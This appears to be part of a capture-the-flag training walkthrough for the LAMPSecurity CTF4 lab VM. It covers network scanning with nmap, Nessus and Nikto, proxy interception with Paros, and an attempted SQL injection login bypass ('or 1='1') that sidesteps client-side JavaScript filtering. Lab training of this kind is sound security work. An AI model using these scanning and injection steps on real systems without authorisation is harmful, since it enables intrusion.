

Capture the Flag Exercise:

Web Application to Root Via Insecure Configuration March 10, 2009 by Justin C. Klein Keane <justin@MadIrish.net> Originally developed for: University of Pennsylvania, School of Arts and Sciences, Information Security and Unix Systems group

Table of Contents

Getting Started	2
Conventions Used in this Document	4
Purpose	4
Omissions	4
NOTA BENE	4
Step 1 – Reconnaissance	5
Scanning with NMAP	6
Step 2 - Discovery	10
Manual Banner Grabbing	11
Step 3 – Verify	13
Scanning using HTTPrint	14
Step 4 – Vulnerability scan	15
Vulnerability Scanning with Nessus	16
Vulnerability Scanning with Nikto	21
Step 5 – Manual discovery	23
Manual Discovery	24
Step 6 – Gain admin site access	28
SQL Injection	29
Input Manipulation using Firefox Tamper Data	34
Coaxing Out Error Messages	37
Step 7 – Find XSS	40
Step 8 – File include vulnerability	42
Step 9 – Crack account passwords	47
Exposing and Cracking Apache Passwords	48
Step 10 – Steal the SSH private key	53
Other Unscripted Attack Vectors:	61

About the Project

The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note **there are other capture the flag exercises** (not just the latest one). Check the SourceForge site to find other exercises available (<u>http://sourceforge.net/projects/lampsecurity/files/CaptureTheFlag/</u>).

These exercises can be used for training purposes by following this documentation. Alternatively you may wish to test new tools, using the CTF virtual machines as targets. This is especially helpful in evaluating the effectiveness of vulnerability discovery or penetration testing tools.

This documentation may be somewhat out of date with respect to tools used to compromise the virtual machine. The advent of BackTrack (<u>http://www.backtrack-linux.org/</u>) has somewhat obviated the need for an attack image. Downloading the latest BackTrack linux image should provide all the necessary tools for completing the exercise.

The username and password for the image can be found in this documentation. However, the point of the exercise is to discover the root username and password, so they are not provided up front. If you must have the credentials to access the virtual image please read the end of the documented compromise steps.

Getting Started

The contents of this exercise assume that you are using the LAMPSecurity VMware image. This is a CentOS based Linux virtual machine preloaded with many of the attack tools necessary to do a security evaluation or penetration test of a remote machine. You'll need VMware's free player in order to run the image. You can download the testing image and the target image from <u>https://sourceforge.net/projects/lampsecurity</u>. You can download the VMware player from http://www.vmware.com/download/player.

Once you have the downloaded the target image (LAMPSecCTF.zip) you can unzip the target using compression software like 7-zip (<u>http://www.7-zip.org</u>). This should inflate the zip to a single directory called 'CTF4'. Go ahead and start the virtual machine therein by firing up VMWare Player, clicking the 'Open' icon and selecting 'CTF4.vmx' from within the CTF4 folder:

Open Virtual Ma	chine			? ×
Look in:	CTF4	•	G 🦻 🖻 🖽-	
My Computer	CTF4.vmx			
My Network Places				
jukeane				
	1			
Desktop	File name:	CTF4.vmx	•	Open
	Files of type:	VMware Configuration Files (*.vmx)	•	Cancel

Give the virtual machine a few minutes to boot. Once the target is up and running the first challenge is to determine the IP address of the target. The easiest way to do this is to look at your VMWare devices on your host computer. On a windows system you can do this by typing:

C:\> ipconfig /all

This should reveal the subnets for which VMWare is running. Typically you're looking for the subnet of the Vmnet8 device.

In the following screenshot you can see the subnet of the VMWare machine is likely on Vmnet8, or 192.168.229.0/24. We'll use this information to locate the target later on in the exercise.



Next you'll want to download and inflate the testing image. This is the image that contains all the discovery and penetration testing tools that you need to complete the exercise. Download the LAMPSec.zip file and inflate it, it contains one directory called LAMPSec. Open up VMWare player and then open up the LAMPSec.vmx file. This will start up the test platform. Once this platform is booted up you should log in.

The LAMPSec image has one user named 'lampsec'. The password for this user and the root user is 'lampsec'.

Note that due to licensing restrictions the LAMPSec image doesn't come with Nessus pre-installed. You can download Nessus from within the LAMPSec image by using the Firefox web browser, going to <u>http://www.nessus.org</u>, and downloading the latest version of Nessus for Linux. The latest version as of this writing is Nessus 3.2.1 for Linux, which is available as an RPM download (Nessus 3.2.1-es5.i386.rpm). To install this rpm open a terminal window (Applications \rightarrow

Accessories \rightarrow Terminal) and navigate to the downloaded RPM (likely on the desktop) using:

\$ cd ~/Desktop
\$ sudo rpm -ivh Nessus-3.2.1-es5.i386.rpm

Conventions Used in this Document

Arrows are used to indicate progression between menus in a program. For instance, if you are being instructed to click on the File menu in a program, then select the Properties option this is denoted using:

File \rightarrow Properties

All command line instructions are listed in courier fixed font. These will often include the prompt preceeding the command, such as:

\$ ls -lah

It is not necessary to type the '\$' as part of the command, it is merely listed for completeness.

Purpose

This exercise is intended to be an educational experience. In particular it is designed to demonstrate how misconfiguration and vulnerabilities can be "chained" together to lead to a complete compromise. There is no system on the target that is immediately exploitable to become root, but there are problems that can be exploited in tandem to compromise the root account.

Omissions

This document describes one possible path to the root account. This is by no means the only way to compromise the target image. Many other paths are available to become the root user, but for the sake of brevity, and to allow further exploration, other routes have not been enumerated. Check the final section to see hints for other ways to attack the target.

NOTA BENE

Many of the screenshots in this document refer to a target at 192.168.0.6. The target IP will in fact vary from installation to installation, so be sure to use the IP address of the target you discover, rather than the one printed in this documentation!

Also note that although the virtual machine images in this project are being released GPL open source, I am retaining copyright over the text of this document. This means you can't reproduce or resell this document without express written consent of the author. Please be respectful of the many hours devoted to deriving this work and the fact that it's being freely distributed.

Step 1 - Reconnaissance

Find the target and discover what services are available on the remote machine using NMAP.

Scanning with NMAP

NMAP (the Network MAPper http://nmap.org) can be used to quickly scan large ranges of IP addresses. NMAP uses a number of techniques to discover ports that are open on remote machines. Open ports generally indicate available services that an attacker can interact with, so they are of particular interest to us. Firewall rules on the target may limit port access, however, so there may be services that are unavailable from the outside. NMAP will inspect the machine and let us know what services are available.

NMAP can also analyze TCP/IP fingerprints of remote machines and determine operating systems and versions running on those machines. Different operating systems implement networking in subtly different ways and NMAP uses this information to compare responses to a large database of known OS fingerprints.

NMAP has a graphical interface, but the command line version is often preferable and is just as full featured. In order to open a command prompt, access the Terminal program under the Applications menu \rightarrow System \rightarrow Terminal, or using the quick launch icon in the tool bar at the top of the LAMPSec VMware image.

The first thing we should do is run an NMAP scan against the entire target IP address range (192.168.229.2-192.168.229.254) and discover machines. We should also take note of our own machine in this range just so we don't attack the test bed. To do this type:

\$ /sbin/ifconfig eth0

And note the IP address. For this example we'll assume it's 192.168.229.135. Next let's scan the entire subnet with NMAP. To do this we'll use the -F flag, for a fast scan and we'll specify all the machines on the subnet except for the gateway, broadcast, and our machine. Open a command prompt and run NMAP by typing:

\$ nmap -F 192.168.229.2-134 192.168.229.136-254

This will perform a fast scan of the subnet omitting 192.168.229.1 (the gateway), 192.168.229.255 (the broadcast) and 192.168.229.135 (the local testbed machine).

The NMAP scan takes some time but it should find the target:

	lampsec@localhost:~	
<u>F</u> ile <u>E</u> dit <u>V</u> i	ew <u>T</u> erminal Ta <u>b</u> s <u>H</u> elp	
[lampsec@loc eth0 L: in in UN RJ CC RJ In	calhost ~]\$ /sbin/ifconfig eth0 ink encap:Ethernet HWaddr 00:0C:29:26:E9:2A net addr:192.168.229.135 Bcast:192.168.229.255 Mask:255.255.25 net6 addr: fe80::20c:29ff:fe26:e92a/64 Scope:Link P BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 X packets:396 errors:0 dropped:0 overruns:0 frame:0 X packets:2385 errors:0 dropped:0 overruns:0 carrier:0 ollisions:0 txqueuelen:1000 X bytes:46454 (45.3 KiB) TX bytes:143776 (140.4 KiB) nterrupt:67 Base address:0x2024	55.0
[lampsec@loo Starting Nma Interesting Not shown: 9 PORT STA	calhost ~]\$ nmap -F 192.168.229.2-134 192.168.229.136-254 ap 4.76 (http://nmap.org) at 2009-03-18 09:52 EDT ports on 192.168.229.134: 96 filtered ports TE SERVICE	
22/tcp open 25/tcp open 80/tcp open 631/tcp clos	n ssh n smtp n http sed ipp 252 IP addresses (1 host up) scanned in 108.65 seconds	=

The scan finds the target in just over a minute and a half. The scan also indicates that several well known services are running, notably:

port 22 ssh - a secure shell, used for remote access
 port 35 smtp - simple mail transport protocol, used for sending and receiving
 email
 port 80 http - hyper text transport protocol, used for serving web pages

We're ingoring the closed port 631, that's an artiface of VMWare.

Now that we've found the target machine, let's try and do some discovery. This involves doing a targeted scan and grabbing information we can use to identify versions of services and the operating system (OS). We can use NMAP to do this, or we can do banner grabs manually. In this exercise we'll try both methods. In order to do OS detection we have to listen to packet responses from the target machine, an operation which requires root permissions. Let's first become root. In your terminal window type:

\$ su

Enter the password and notice that the prompt character changes from a '\$' symbol to a '#' symbol, indicated that you are now operating as the root user. Next try NMAP using the command:

nmap -sV -0 -PN 192.168.229.134

the -sV flags will do service version detection, the -O flag will do operating system fingerprinting, and the -PN flag tells NMAP to skip ICMP pinging the host before scanning (since we already know the host is up). ICMP pings are used by NMAP to determine if IP addresses are used, but many devices block ICMP traffic, so it is worthwhile to use this operation if you suspect a machine may occupy an address space, but isn't responding to NMAP.

NMAP may take some time to perform this operation, you may want to skip ahead to the next section "Manual Banner Grabbing" before coming back to view the results You can open a new tab in the console window with Shift+Ctrl+T (or under the File menu) .

Once NMAP completes the operating system and version detection, a process that may take 15 minutes, it will present results in a formatted output. Be sure to read all of the output to get a better sense of how NMAP came to it's reported conclusions.

NMAP operating system and version detection output:

			sa	satta	ck@localh	ost:	/home/sasattack	
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew	<u>T</u> erminal	Ta <u>b</u> s	<u>H</u> elp			
sasa	ttack	@localh	iost:/home/	/sasatta	ack	×	sasattack@localhost:~/bin/httprint_301/linux	×
[roo	t@lo	calhos	t sasatta	ack]#	nmap -sV	-0-	PN 192.168.0.6	
Star Inte Not PORT 22/t 25/t 80/t 631/	ting rest show cp cp cp tcp	Nmap ing po n: 996 STATE open open closed	4.76 (ht rts on 19 filtered SERVICE ssh smtp http ipp	tp:// 2.168 I port VERSI OpenS Sendm Apach	nmap.org .0.6: s ON SH 4.3 (p ail 8.13. e httpd 2) at roto 5/8. .2.0	2009-03-09 13:23 EDT pcol 2.0) 13.5 0 ((Fedora))	
MAC Devi	Addro .ce t	ess: 0 vpe: a	0:0C:29:2 eneral pu	28:D9: Irpose	61 (VMwar WAP fire	e) wall	broadband router printer	
Runn	ing (019	(JUST %) 1	GUESSING)	: Li	nux 2.6.X	(97	(%), Siemens embedded (93%), FON Linux 2	2
Aggr Lin inux 0.2, No e Netw Serv	<pre>.4.X (91%), Linksys embedded (91%), Xerox embedded (91%) Aggressive OS guesses: Linux 2.6.13 - 2.6.20 (97%), Linux 2.6.15 - 2.6.20 (96%), Linux 2.6.13 - 2.6.10 (96%), Linux 2.6.22 - 2.6.23 (96%), Linux 2.6.21 (95%), L inux 2.6.9 - 2.6.15 (95%), Linux 2.6.17 (x86) (95%), Linux 2.6.16.21 (openSUSE 1 0.2, x86_64) (93%), Linux 2.6.17 - 2.6.23 (93%), Linux 2.6.9 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Sorvice Info: Hest: ctf4 cos upper edu; OS: Upix</pre>							
OS a //nm Nmap [roo	ind Solap.o	ervice rg/sub e: 1 I calhos	detectio mit/ . P address t sasatta	on per 5 (1 h ack]#	formed. P ost up) s	leas cann	e report any incorrect results at http: ned in 1007.93 seconds	: =

You'll notice that the MAC address of the target is clearly identified as VMWare. MAC addresses are configurable, and you can easily change this value in VMWare to make the target look more realistic.

You can also see that NMAP has determined that the target is running Linux, likely with a 2.6 version kernel. NMAP also discovered that OpenSSH 4.3 is running on port 22, Sendmail 8.13.5 is running on port 25, and Apache 2.2.0 is running on port 80. Apache was also able to determine that Apache is reporting that it is running on the Fedora Linux distribution.

Note that NMAP shows port 631 is in a closed state. This is an artifice of the Vmware image, and should be ignored for the purposes of this exercise.

Step 2 - Discovery

Determine the versions of services and operating system running on the target.

Manual Banner Grabbing

We can go through and perform "banner grabbing" manually using utility programs like telnet. To do this we simply telnet to the open port and see how the service responds. Based on our NMAP scan we know that ports 22, 25, and 80 are open. Let's start with port 22. Telnet to this port using:

\$ telnet 192.168.229.134 22



You'll notice that the service responds with the type of service it is, along with the version (OpenSSH 4.3). You want to take note of this type of information because it can provide clues about the machine and could also indicate possible vulnerabilities. Sometimes it is useful to Google the service name and number plus the word "vulnerability" to see if there are known issues with the service.

We can continue this exercise, looking at port 25 and port 80. Port 25 should reveal that the host is running Sendmail version 8.13.5. You'll notice something odd when you telnet to port 80 though, the server won't respond right away. Try typing in "GET index.htm" and see what happens:

lampsec@localhost:~	
<u>F</u> ile <u>E</u> dit <u>V</u> iew <u>T</u> erminal Ta <u>b</u> s <u>H</u> elp	
lampsec@localhost:/home/lampsec	×
[lampsec@localhost ~]\$ telnet 192.168.229.134 80	
Trying 192.168.229.134	
Escape character is '^]'.	
get index.htm	
<pre><!DOCTYPE HIML PUBLIC "-//IETF//DID HIML 2.0//EN"> </pre>	
<title>400 Bad Request</title>	
<body></body>	
<pre>cp>Your browser sent a request that this server could not un</pre>	derstand.
<hr/>	Port Por/addross
Connection closed by foreign host.	
[lampsec@localhost ~]\$	
	=
	

You can see that the server doesn't respond in an expected manner, but it does reveal the service and version running (Apache 2.2.0) as well as the hostname (ctf4.sas.upenn.edu) and the operating system (Fedora) which is a lot of information!

Step 3 - Verify

Verify version information using alternative tools.

Scanning using HTTPrint

We suspect that we're dealing with an Apache server, but let's go ahead and verify this information using HTTPrint. HTTPrint is a web server fingerprinting program that operates in much the same way as NMAP's OS fingerprinting. It is highly accurate and can determine if server banners are telling the truth about the service (banners can be changed manually so are not necessarily reliable). To run HTTPrint open a terminal window and navigate to it using:

\$ cd ~/bin/httprint_301

You can then run the program using:

\$./httprint -h 192.168.0.6 -P0 -s signatures.txt

HTTPrint will generate a lot of output as it ranks the likelihood of each service in it's database matching the target. The important part to look at is the 'Score' and 'Confidence' rankings in the beginning of the output:



Step 4 - Vulnerability scan

Run a comprehensive vulnerability scan of the target.

Vulnerability Scanning with Nessus

Vulnerability scanning involves looking at the actual services running and performing an audit for problems. One industry standard vulnerability scanner is Nessus, which is available free for download. Nessus will test the services installed and look for problems, generating a handy report of it's findings. Nessus has a graphical front end, so you can start it by looking under the Applications menu for the NessusClient entry.

Nessus runs in a client/server model. The server is already running silently in the background, but you have to connect the GUI to it so it can scan. Go ahead and click the "Connect..." button in the bottom left hand corner of Nessus:



Note that the cached credentials for Nessus may not be right. If you get an error click the 'Edit' button in the 'Connection Manager' window then replace the login and password with "lampsec":

NES	SUS 2	Nessus
		Connection Manager
Scan Report	Select a Nessus S	erver:
Network(s) to so	localhost	
		Edit Connection
		Connection name: localhost
		Host name: 127.0.0.1
		Port: 1241
		Login: sasattack
	+ - Edit	
		Password: *******
		SSL Setup
+ -		
		Scan Now
Connect		

* Note the screenshot is wrong – use the login "lampsec"

Once connected click the '+' symbol under the left hand 'Nework(s) to scan:' pane. Select the 'Single host' option in the 'Edit Target' window and type in our host IP address:

TENABLE	~
NECO	Edit Target 🗙
Scan Report Network(s) to sc	Scan: Single host IP Range Subnet Hosts in file
	Host name: 192.168.0.6
	Start Address:
	Network:
	Netmask: File Path:
+ -	Select file
	Cancel Save
Disconnect	

* Note the screenshot is wrong, use the "Host name" value of your discovered host!

Click 'Save' then select the 'Default scan policy' in the right hand 'Select a scan policy:' window and click the 'Scan Now' button at the bottom of the Nessus client.

Scan Report		Nessus
Network(s) to scan :	Select a scan policy :	
▼ 192.168.0.6	Default scan policy Microsoft Patches	
+ -	Edit + - Scan Now	Edit

* Note the screenshot is wrong – use the "Network(s) to scan" value of your discovered host!

This will begin the scan, which may take some time to complete. The report can be exported to an HTML file for later viewing. You can expand the left hand tree under the IP address of the target to view results of the vulnerability scan. The results are color coded so you can easily pick out which vulnerabilities are the most dangerous.

Nessus scan results:

Scan Report	3 Dessus
Report:	09/03/09 01:59:02 PM - Default scan policy 🖨 Delete Export
 □- 192.168.0.6 □- general/tcp □- general/udp □- ssh (22/tcp) □- smtp (25/tcp) □- http (80/tcp) 	None Plugin output : The following directories were discovered: /admin, /cgi-bin, /error, /icons, /images, /inc, /pages, /sql, /usage While this is not, in and of itself, a bug, you should manually inspect these directories to ensure that they are in compliance with company security standards The following directories require authentication: /restricted Other references : OWASP:OWASP-CM-006 Nessus ID : 11032 Web mirroring
Filter	The following CGI have been discovered :
Disconnect	🐛 Scan in progress Pause Stop

Take some time to read through the results of the scan – you may find some very interesting information.

Vulnerability Scanning with Nikto

Nessus is very good at scanning targets to look for vulnerabilities across multiple services. There are, however, specialized vulnerability scanners tailored for specific services. Nikto is a popular, open source web application vulnerability scanner written in Perl. Nikto is extremely good at identifying problems in web applications. Nikto is a command line program, so we can start it up using:

```
$ cd ~/bin/nikto
```

```
$ ./nikto.pl -host 192.168.229.134
```

Once Nikto is started it will audit the target web server and applications it finds on that server. Be sure to pay careful attention to the results, Nikto will often find very useful information:

```
sasattack@localhost:~/bin/nikto
File Edit View Terminal Tabs Help
sasattack@localhost:/home/sasattack
                                    x sasattack@localhost:~/bin/nikto
                                                                            ×
                                                                             -
[sasattack@localhost nikto]$ cd /home/sasattack/bin/nikto/
[sasattack@localhost nikto]$ ./nikto.pl -host 192.168.0.6
- Nikto v2.03/2.04
+ Target IP:
                   192.168.0.6
+ Target Hostname: 192.168.0.6
+ Target Port: 80
+ Start Time: 2009-03-10 14:06:44
+ Server: Apache/2.2.0 (Fedora)
- /robots.txt - contains 5 'disallow' entries which should be manually viewed. (
GET)

    Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE

+ OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for de
bugging and should be disabled. This message does not mean it is vulnerable to X
ST.
+ OSVDB-0: Retrieved X-Powered-By header: PHP/5.1.2
+ OSVDB-0: ETag header found on server, inode: 487720, size: 104, mtime: 0x54878
840
+ Apache/2.2.0 appears to be outdated (current is at least Apache/2.2.10). Apach
e 1.3.41 and 2.0.63 are also current.
+ OSVDB-0: GET /admin/login.php?action=insert&username=test&password=test : phpA
uction may allow user admin accounts to be inserted without proper authenticatio
n. Attempt to log in with user 'test' password 'test' to verify.
+ OSVDB-682: GET /usage/ : Webalizer may be installed. Versions lower than 2.01-
09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2
```

Nikto will find many of the same things that Nessus will, but it will also identify some unique attributes of the target. One thing to note is that Nikto has identified that PHP 5.1.2 is powering the web server.

Nikto has also tried to identify specific open source packages that are installed on the target, you'll notice that Nikto identified Webalizer might be installed and points out a potential Cross Site Scripting (XSS) vulnerability in versions of that software.

Nikto also identifies certain scripts that could indicate vulnerabilities that have not been identified. For instance Nikto points out that /mail/src/read_body.php has been identified as part of automated scans – indicating it might have a vulnerability.

Step 5 - Manual discovery

Perform some manual recovery and exploration of the target system. Map the target web application(s).

Manual Discovery

Although tools like Nessus and Nikto are great for identifying potential vulnerabilities, manually browsing a web application is one of the best ways to identify problems. One issue with manually surfing around a target, however, is that information isn't really captured in any systematic way. In order to facilitate better retention of data, as well as providing a platform to revisit web requests and potentially tamper with them, attackers often use a local proxy to intercept requests to a target. In this part of the attack we'll use Paros, which is a Java based proxy program that has a lot of functionality. You can start up Paros from the Applications menu \rightarrow Attack \rightarrow Paros. If that doesn't work you can try starting Paros from the command line using:

- \$ cd ~/bin/paros
- \$./startserver.sh

Once Paros is running we'll start up our web browser (Firefox) and configure it to use a local proxy. In Firefox select Edit \rightarrow Preferences, then select the 'Advanced' icon at the top, then select the 'Network' tab, and click the 'Settings' button.

2		F	irefox Prefe	rences		(
419 Main	Taba	Contont	Applications	Privacu	E a queitra	Q	
Main		Content	Applications	Privacy	Security	Advanced	
General	Network	Update E	incryption				
Conne	ection						
Conf	ïgure hov	v Firefox co	nnects to the l	nternet		😤 S <u>e</u> tting	IS
Offlin	e Storag	je					
<u>U</u> se	up to	50 🗘 MB	of space for t	he cache		🞸 <u>C</u> lear N	low
<u>√</u> <u>⊤</u> €	ell me wh	en a websit	e asks to store	e data for o	offline use	E <u>x</u> ception	ıs
The	following	websites h	ave stored dat	a for offlin	e use:		
						<u>R</u> emov	e
S He	elp					×	lose

In the 'Connection Settings' window, select 'Manual proxy configuration' then fill in 127.0.0.1 for the 'HTTP Proxy' and 8080 for the 'Port':

2	Connection Settings		×
Configure Proxies	to Access the Internet		
○ No prox <u>y</u>			
O Auto-detect prox	ky settings for this net <u>w</u> ork		
○ <u>U</u> se system pro	ky settings		
Manual proxy co	nfiguration:		
<u>H</u> TTP Proxy:	127.0.0.1	Port:	8080
	Use this pro <u>xy</u> server for a	ll protoc	ols
<u>S</u> SL Proxy:		P <u>o</u> rt:	0
<u>F</u> TP Proxy:		Po <u>r</u> t:	0
<u>G</u> opher Proxy:		Port:	0
SO <u>C</u> KS Host:		Por <u>t</u> :	0
	○ SOC <u>K</u> S v4		
<u>N</u> o Proxy for:	localhost, 127.0.0.1		
	Example: .mozilla.org, .net.nz	z, 192.1	68.1.0/24
○ <u>A</u> utomatic proxy	configuration URL:		
			Reload
🔀 <u>H</u> elp	×c	ancel	🖑 ок

Next click 'OK' and your settings will be saved.

Now browse to the target website '<u>http://192.168.229.134</u>' you'll notice that Paros records the call, including the request from the browser and the response:



Take some time to browse around the target website. Be sure to check into the interesting sites found by Nikto and Nessus. A good place to start looking for vulnerable targets is the robots.txt file. Robots.txt is a standard file that directs the activity of web spiders. Webmasters often place the locations of sensitive applications or directories into the robots.txt file to keep them out of search engine caches, but this provides a roadmap for attackers to juicy targets.

Looking at the robots.txt for the target at <u>http://192.168.229.134/robots.txt</u> we see it lists:

Disallow: /mail/ Disallow: /restricted/ Disallow: /conf/ Disallow: /sql/ Disallow: /admin/

It's worth our time to browse to these directories to see what they contain. Take a moment to browse to each of these URL's and take note of what is installed there. Can you determine if there is an open source software package installed at that location? Which directories appear to be password protected. Do you notice any directories that provide listings of their contents (or indexes)? All of this is useful information to an attacker, who can use this intelligence to plot an attack path or find weaknesses in web applications.

Step 6 - Gain admin site access

Gain access to the /admin portion of the site. Post a new blog posting.

SQL Injection

We've easily identified the existence of an administrative portion of the target at <u>http://192.168.229.134/admin</u>. The login form is clearly meant to keep intruders out. Let's try and log into the form using a classic attack technique that leverages SQL injection. SQL injection is an attempt to mangle SQL queries written by a developer by injecting new code. An example of this would be if a developer wrote the following code:

```
<?php
$sql = "select * from users where username='$username' and
pass='$password'";
$results = mysql_query($sql);
?>
```

The developer clearly intends for PHP to parse the SQL statement so it looks something like:

select * from users where username='name' and pass='password';

However, if an attacker can take control of the value of the variable \$username and \$password variables and cause them to contain the value:

' or 1='1

Then as that value is inserted into the above SQL statement, the resulting query becomes:

select * from users where username='' or 1='1' and pass='' or 1='1'

This SQL statement is open ended enough that it will always return true, and depending on how the developer has coded the rest of the PHP login function might allow the attacker to log in as the administrative user. Let's go ahead and try this route on the admin login page. Enter:

' or 1='1

into both the username and password fields:



You'll notice that this doesn't work, and we get a "Login failed!" message. This is a great failure message, as it doesn't indicate if we got the username wrong, the password wrong, or the query resulted in an error.

Not to be discouraged though, let's take a look at the source of this page. In Firefox you can press Ctrl+U or use the menus under View \rightarrow Page Source. If you look at the source you'll see that there's a piece of JavaScript in the form that is changing the values we're inserting before submitting them. It looks like this script is replacing any character that isn't a letter or a number. This is stripping the spaces and single quotes out of our values, and defeating our attack. Many developers will use this type of client side validation to limit inputs attackers can pass.

```
<script type="text/javascript">
function fixLogin() {
    var test=/[^a-zA-Z0-9]/g;
    document.login_form.username.value=document.login_form.username.value.replace(test, '');
    document.login_form.password.value=document.login_form.password.value.replace(test, '');
}
</script>
</script>
</head>
<body>
<center>
<h2>Login failed!</h2>
<form name="login_form" action="index.php" onSubmit="fixLogin()" method="POST">
```

Fortunately for use, we can bypass this script entirely! If you look back at Paros you can see our form submission, which has clearly been altered. In the Paros window take note of the values in our POST request. Look in the pane to the lower right of Paros to see these values. You'll notice that they don't include any characters other than alphanumeric ones (no single quotes or spaces). This is a result of the JavaScript filtering our input.

Note the values in Paros:

8					Un	titled	Session -	Paros	1		
<u>F</u> ile	Edit	View	Analyse	Report	Tools	Help					
Sites					Re	quest	Response	Trap			
▼ Site ▼ ht	s GET:a GET:fi GET:r admir POS image	92.168. Idmin avicon.i obots.t n ST:inde es	0.6 co xt ×.php(pass	word,userr	POS Ho: Use Cer Acco Acco Ref Cor Cor Use	st http: st: 192. er-Agen ntOS/3.0 ept: tex ept-Lar ept-Alive xy-Con erer: ht ntent-Le rname=	//192.168.0 168.0.6 t: Mozilla/5.0 0.6-1.el5.cer (t/html,applic nguage: en-u arset: ISO-88 2: 300 nection: keep tp://192.168 /pe: applicati ength: 27	6/adm (X11; tos Fire ation/x s, en; q= 59-1, u - alive 3.0.6/a on/x-w	in/index.php HTTP/1.1 U; Linux i686; en-US; rv:1.9. efox/3.0.6 Paros/3.2.13 html+xml,application/xml;q= e0.5 itf-8;q=0.7,*;q=0.7 dmin/ ww-form-urlencoded	0.6) Gecko/2009(=0.9,*/*;q=0.8	020414
Histor	сет y Spi	der A	erts Outp	out					200 OK	128ms	

The values that were submitted via POST were 'username=or11&password=or11' which is clearly not what we intended. Let's use Paros to sidestep this annoying JavaScript. Expand the bottom window by dragging the divider up. You can barely see the contents of this pane above the 'History', 'Spider', 'Alerts', and 'Output' tabs in the screen shot above. Once this bottom pane is expanded in Paros we can see all our GET and POST requests.

Once you can view these requests select the POST request at the end of the list, right click on it, and select 'Resend':

File Edit View Analyse Report Tools Help Sites	*	Untitled Session - Paros	
Sites Request Response Trap ▼ Sites POST http://192.168.0.6 GET:admin Host: 192.168.0.6/admin/index.php HTTP/1.1 Image: 192.168.0.6/admin/index.php HTTP/1.1 GET:admin GET:favicon.ico GET:admin GET:admin Image: 192.168.0.6/admin/index.php HTTP/1.1 GET:favicon.ico GET:favicon.ico GET:robots.txt Accept: text/html,application/khml+xml,application/xml;q=0.9,*/*;q=0.8 V admin POST:index.php(password.usernal Accept: text/html,eg=0.7,*;q=0.7 Keep-alive: 300 POST:index.php(password.usernal Proxy-Connection: keep-alive V I GET http://192.168.0.6/ 200 OK 138ms GET http://192.168.0.6/favicon.ico 404 Not Found 4ms 4 GET http://192.168.0.6/favicon.ico 404 Not Found 31ms 14 GET http://192.168.0.6/favicon.ico 404 Not Found 31ms 14 GET http://192.168.0.6/favicon.ico 404 Not Found 31ms 17 GET http://192.168.0.6/favicon.ico 200 OK 168ms Resend 7ag 200 OK 168ms POST http://192.168.0.6/admin/.ndev.php 200 OK 168ms	<u>F</u> ile Edit View Analyse Repo	ort Tools Help	
▼ Sites POST http://192.168.0.6/admin/index.php HTTP/1.1 Whttp://192.168.0.6 GET:admin GET:favicon.ico GET:favicon.ico GET:robots.txt Accept: Lext/html.application/xhml.4cm	Sites	Request Response Trap	
I GET http://192.168.0.6/ 200 OK 138ms 3 GET http://192.168.0.6/favicon.ico 404 Not Found 4ms 4 GET http://192.168.0.6/favicon.ico 404 Not Found 314ms 14 GET http://192.168.0.6/robots.txt 200 OK 9ms 17 GET http://192.168.0.6/admin/ 200 OK 8ms 109 POST http://192.168.0.6/admin/index.php 200 OK 168ms Resend Tag Delete (from view) Purge (from DB) Purge (from DB) Tag	 ✓ Sites ✓ http://192.168.0.6 GET:admin GET:favicon.ico GET:robots.txt ✓ admin POST.index.php(password,userna ◊ images 		
1 GET http://192.168.0.6/ 200 OK 138ms 3 GET http://192.168.0.6/favicon.ico 404 Not Found 4ms 4 GET http://192.168.0.6/favicon.ico 404 Not Found 314ms 14 GET http://192.168.0.6/robots.txt 200 OK 9ms 17 GET http://192.168.0.6/admin/ 200 OK 8ms 109 POST http://192.168.0.6/admin/index php 200 OK 168ms Resend Tag Delete (from view) Purge (from DB) Purge (from DB) Tag		Raw View	
	1 GET http://192.168.0.6/ 3 GET http://192.168.0.6/faxi 4 GET http://192.168.0.6/faxi 14 GET http://192.168.0.6/rob 17 GET http://192.168.0.6/adr 109 POST http://192.168.0.6/adr	200 OK 138ms icon.ico 404 Not Found 4ms icon.ico 404 Not Found 314ms ots.txt 200 OK 9ms nin/ 200 OK 8ms nin/index.php 200 OK 168ms Resend Tag Delete (from view) Purge (from DB)	

This will open up a new window.

In the resulting 'Resend' window let's go ahead and change the values of our POST to the ones we intended, then click the 'Send' button.

8		Resend	×
Request Res	ponse		
POST http://192 Host: 192.168.0 User-Agent: Mo OS/3.0.6-1.el5. Accept: text/htm Accept-Languag Accept-Charset: Keep-Alive: 300 Proxy-Connectio Referer: http:// Content-Type: a Content-Length: username=' or 1	2.168.0.6, 0.6 zilla/5.0 () .centos Firo nl, applicati ge: en-us, e : ISO-8859 on: keep-a 192.168.0 application : 27	/admin/index.php HTTP/1.1 <pre><pre><pre></pre><pre><pre><pre><pre><pre><pre><pre><</pre></pre></pre></pre></pre></pre></pre></pre></pre>	nt
Raw View	•	🗌 Use current tracking session 🗹 Follow redirect Sen	d

You'll notice if you glance down the HTML in the 'Response' tab that we got the same error. Looks like we can't log in using this tactic.

Input Manipulation using Firefox Tamper Data

Let's try exploring the same process using an alternative tool. If we go back to our web browser we can try to bypass the authentication and log into the site using the Firefox Tamper Data plugin. This plugin allows us to modify browser requests and form posts on the fly. Start up Tamper Data in Firefox under the 'Tools' menu \rightarrow Tamper Data. This will bring up the Tamper Data window. Click on the 'Start Tamper' menu and then go back to the the login form, fill in "test" and "test" for the username and password and click the 'Log in' button. You'll notice this brings up the Tamper Data plugin which asks if you want to tamper the data, click the 'Tamper' button to continue:

	Tamper Data - Ongoing requests	_ O X
Support▼ Milw0rm - exploit	Start Tamper Stop Tamper Clear	Options Help
🔤 CSS ▼ 📰 Forms ▼ 📃 Images ▼	Filter	Show All
nember this password? <u>R</u> ememb	Total Cont	Lo 🖽
n Contact <mark>search</mark>		
iks Center for D		
Username: test		
Password:	Tamper with request?	
Log In	http://192.168.0.6/admin/index.php	
Webin	🗹 Continue Tampering?	
Subn	nit 🗙 Abort Request 💜 Tamper	
111		
	200 (ОК



	Tampe	r I	Popup	
http://192.168.0.6/admin/index.php				
Request Header	Request He		Post Parameter	Post Param
Host	192.168.0.6		username	' or 1='1
User-Agent	Mozilla/5.0 (X1.		password	' or 1='1
Accept	text/html,applic			
